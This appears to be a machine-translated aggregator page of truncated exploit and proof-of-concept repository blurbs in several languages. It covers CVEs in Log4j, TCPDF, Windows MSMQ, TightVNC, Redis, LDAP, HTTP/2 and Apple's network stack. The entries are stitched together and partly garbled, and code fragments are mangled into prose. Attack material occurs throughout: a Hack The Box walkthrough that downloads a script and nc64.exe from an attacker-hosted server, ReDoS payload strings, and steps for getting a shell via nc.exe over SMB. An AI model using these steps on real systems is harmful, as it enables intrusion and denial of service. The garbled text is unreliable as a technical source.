Log4j_CVE-2021-45046

Log4j 2.15.0 권한 상승 -- CVE-2021-45046 공격 설명 Apache Log4j 2.15.0에서 CVE-2021-44228을 해결하기 위한 수정이 특정 비기본 설정에서 불완전한 것으로 확인되었습니다. 로깅 구성이 비기본 Pattern Layout과 Context Lookup예: $$ctx:loginId 또는 Thread Context Map 패턴%X, %mdc, %MDC을 함께 사용하는 경우, Thread Context MapMDC 입력 데이터를 제어할 수 있는 공격자가 JNDI Lookup 패턴을 사용한...

CVE-2021-26258

이 저장소는 CVE-2021-26258 PoC를 위한 도구와 보조 파일을 포함하고 있습니다. 취약점에 대한 자세한 내용은 블로그 포스트를 참조하세요. 파일 목록 : rn.stg.original: Intel Killer와 함께 제공되는 원본 .stg 파일 rn.xml.original: rnstg-tool을 사용하여 rn.stg.original에서 추출한 .xml 파일 rncustom.xml: Discord.exe의 네트워크 액세스를 비활성화하고 RemoteRegistry 서비스를 시작하는 사용자 지정 .xml 파일...

CVE-2024-22641

CVE-2024-22641 취약점 유형 정규 표현식 서비스 거부 ReDoS 영향을 받는 제품 및 버전 TCPDF root@kitploit: AddPage; $pdf-ImageSVG$file='poc.svg'; ?...

CVE-2024-22640

CVE-2024-22640 Тип уязвимости Регулярное выражение, вызывающее отказ в обслуживании ReDoS Затрагиваемый продукт и версия TCPDF convertHTMLColorToDec'"t"000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000!',$ref; ?...

CVE-2023-21554-PoC

CVE-2023-21554-PoC CVE-2023-21554 Windows MessageQueuing PoC, анализ в https://www.zoemurmure.top/posts/cve202321554/ Перед запуском файла PoC необходимо самостоятельно изменить IP-адрес целевого компьютера Признаком успешной эксплуатации PoC является сбой процесса mqsvc.exe, при этом всплывающих...

blueshrimp

Proof-of-concept for CVE-2025-48593 based on examining the patch. You shouldn't worry about this. As far as I can tell, phones are NOT vulnerable to CVE-2025-48593. The issue only affects Android devices that support acting as Bluetooth headphones / speakers, such as some smartwatches, smart...

checkmk_cve-2024-0670

checkmkcve-2024-0670 ┌──root㉿kali-/HTB/NanoCorp └─ python3 -m http.server 80 PS C:\windows\temp iwr http://10.10.16.10/zh.ps1 -outfile "c:\windows\temp\zh.ps1" PS C:\windows\temp iwr http://10.10.16.10/nc64.exe -outfile "c:\windows\temp\nc64.exe" PS C:\windows\temp iwr...

service-now

service-now Bruteforcer de artículos de Service-Now La idea aquí es que existe una mala configuración en los artículos que podría exponer información sensible. Cualquier problema, repórtalo aquí - https://github.com/RandomRobbieBF/service-now/issues o envía un PR! Cómo usar root@kitploit: python3...

CVE-2014-6287

CVE-2014-6287 python3 скрипт Использование: 1. Запустите локальный smb сервер, хостинг nc.exe 2. Выполните скрипт эксплойта для получения оболочки...

CVE-2024-42049-PoC

CVE-2024-42049-PoC Детали CVE https://nvd.nist.gov/vuln/detail/CVE-2024-42049 TightVNC Server for Windows до версии 2.8.84 позволяет злоумышленникам подключаться к каналу управления через сетевое соединение. Детали PoC статья: https://izvd.eu/research/exploiting-cve-2024-42049 протестировано на:...

CVE-2025-60752

CVE-2025-60752 CVE-2025-60752 PoC 영향받는 제품: Tinyc Http Server 전체 분석 글은 https://zer0matt.blogspot.com/2026/05/cve-2025-60752-tinyc-http-server-stack.html에서 확인할 수 있습니다. 설명 Tinyc가 조작된 입력을 수신할 때 스택 버퍼 오버플로가 발생합니다. 이 오버플로는 프로그램이 큰 입력을 제대로 제어하지 못하기 때문에 발생합니다. 공격자는 이 취약점을 악용하여 서버의 서비스 거부충돌를 유발할 수 있습니다. 또...

CVE-2018-4407-iOS-exploit

CVE-2018-4407 iOS攻撃エクスプロイト CVE-2018-4407は、iOS/macに対するシンプルで非常に高速なBOF攻撃であり、DOSを引き起こす可能性があります。この脆弱性は、XNUオペレーティングシステムカーネルのネットワークコードにおけるヒープバッファオーバーフローです。XNUはiOSとmacOSの両方で使用されているため、iPhone、iPad、MacBookのすべてが影響を受けます。 テスト環境 macOS High Sierra 10.13.6 Python 3.6 iOS 11.2.6 注:...

cve-2019-0808-poc

cve-2019-0808-poc cve-2019-0808-poc 그냥 BSOD, OS 재부팅에 사용됨;...

MS16-032

MS16-032CVE-2016-0099 仅用于服务 此漏洞利用程序仅能在服务上使用 进行逻辑漏洞利用,针对逻辑漏洞利用。...

CVE-2025-49844-RediShell-AI-made-Revshell

CVE-2025-49844 RediShell AI가 만든 Revshell PoC AI가 만든 Redishell PoC의 테스트되지 않은 완성본. 원본 PoC: https://github.com/raminfp/redisexploit/blob/main/exploitpoc.py 한국어 조각: https://github.com/dwisiswant0/CVE-2025-49844/blob/master/CVE-2025-49844.lua 진행 상황? 나중에 우리는 GDB를 연결해보았다 - Base 주소를 알아내고 몇 가지를 더 찾아냈지만,...

cve-2023-44487-demo

⚡ CVE-2023-44487 Демо – Атака быстрого сброса HTTP/2 Этот проект демонстрирует уязвимость HTTP/2 «Быстрый сброс» CVE-2023-44487, которая позволяет злоумышленникам перегружать серверы с помощью фреймов RSTSTREAM, вызывая отказ в обслуживании DoS. Он включает: ✅ Тест эксплойта с помощью инструмента...

CVE-2024-49113

LDAP Nightmare Yuki Chen@guhe120이 보고한 CVE-2024-49113에 대한 익스플로잇입니다. Windows 경량 디렉터리 액세스 프로토콜LDAP의 취약점입니다. SafeBreach Labs에서 제작했습니다2025년 1월 1일 게시. 취약점에 대한 전체 기술 분석 및 익스플로잇 방법은 블로그 게시물 여기에서 확인하세요. 개요 CVE-2024-49113은 Microsoft에 따르면 원격 코드 실행을 허용하는 Windows LDAP 클라이언트의 치명적인 취약점입니다. 이 익스플로잇은 Netlogon 원격...

CVE-2018-2636

Установка root@kitploit: $ pip install --user requests argparse unicodedata Информация POC для CVE-2018-2636. Пример использования root@kitploit: python eGw.py -H 127.0.0.1 -P 8080 -i ... Let's get info about server ! Your instance is vulnerable to CVE-2018-2636 ... Ссылки Критическое обновление...

CVE-2026-11118-HTTP-2-Rapid-Reset-DDoS

CVE-2026-11118 – HTTP/2 Rapid Reset DDoS プログラムコード Python/http2 クライアント + サーバー root@kitploit: http2serversim.py - Simple HTTP/2 server that processes reset streams import socket, ssl, h2.connection, h2.events def handle: sock = socket.socket sock.setsockoptsocket.SOLSOCKET, socket.SOREUSEADDR, 1...

AppleDOS

AppleDOS CVE-2018-4407 CVE-2018-4407 https://lgtm.com/blog/applexnuicmperrorCVE-2018-4407, 이 트윗, 그리고 이 동영상을 기반으로 합니다. 이 버그는 OS가 잘못된 패킷의 세그먼트를 포함하는 ICMP 메시지를 송신자에게 다시 보내려고 할 때 발생하는 힙 오버플로우 취약점입니다. 이 PoC는 긴 TCP/IP 헤더 옵션이 포함된 잘못된 TCP 패킷 데이터를 전송하여 취약한 Apple 기기가 오류 메시지를 보내려고 할 때 ICMP 메시지를 오버플로우시켜 기기를...